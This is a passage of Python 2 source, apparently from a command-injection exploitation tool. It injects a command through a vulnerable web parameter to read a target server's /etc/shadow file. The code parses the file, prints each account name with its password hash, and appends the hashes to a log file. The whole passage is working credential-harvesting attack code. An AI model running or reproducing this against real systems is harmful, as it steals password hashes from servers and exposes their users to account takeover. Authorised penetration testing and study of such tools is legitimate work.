pass
else:
cmd = settings.SYS_PASSES
#print ""
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
if output == False:
output = ""
session_handler.store_cmd(url, cmd, output, vuln_parameter)
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd,
vuln_parameter)
new_line = ""
sys_passes = output
if sys_passes == "":
sys_passes = " "
if sys_passes:
info_msg = "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... "
sys.stdout.write(new_line + settings.print_info_msg(info_msg))
sys.stdout.flush()
sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace(" ", "\n")
sys_passes = sys_passes.split()
if len(sys_passes) != 0:
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
Style.RESET_ALL + " ]")
success_msg = "Identified " + str(len(sys_passes))
success_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
success_msg += " in '" + settings.SHADOW_FILE + "'.\n"
sys.stdout.write("\n" +
settings.print_success_msg(success_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.SUCCESS_SIGN) + success_msg)
output_file.close()
count = 0
for line in sys_passes:
count = count + 1
try:
if ":" in line:
fields = line.split(":")
if not "*" in fields[1] and not "!" in fields[
1] and fields[1] != "":
print " (" + str(
count
) + ") " + Style.BRIGHT + fields[
0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[
1] + Style.RESET_ALL
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) + ") " +
fields[0] + " : " +
fields[1] + "\n")
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
if count == 1:
warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
sys.stdout.write(
settings.print_warning_msg(warn_msg) + "\n")
print fields[0]
output_file = open(filename, "a")
output_file.write(" " + fields[0])
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
warn_msg = "It seems that you don't have permissions to read '"
warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()